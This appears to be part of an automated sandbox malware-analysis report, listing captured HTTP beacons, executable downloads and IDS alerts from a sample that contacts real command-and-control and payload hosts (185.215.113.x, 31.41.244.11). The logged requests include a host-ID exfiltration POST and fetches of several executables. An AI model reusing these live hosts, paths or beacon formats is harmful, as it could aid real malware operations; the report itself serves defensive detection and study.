Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 34 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008747001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIJEGCBGIDGHIDHDGCBHost: 185.215.113.206Content-Length: 7511Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHIDGDHCGCBAKFHIIIIIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 30 45 31 33 38 36 42 33 37 31 33 36 30 34 32 39 36 32 39 37 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 2d 2d 0d 0a Data Ascii: ------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="hwid"3A0E1386B3713604296297------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="build"mars------GHIDGDHCGCBAKFHIIIII--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49765 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49793 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49825 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49842 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49864 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49868 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49875 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49887 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49896 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49902 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49908 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49930 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49952 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49945 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49974 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49996 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49994 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49980 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50006 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50035 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50052 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50059 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50066 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50081 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50101 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50091 -> 104.21.33.116:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /files/6856384433/fMb18eF.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/6856384433/QwGWuQZ.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
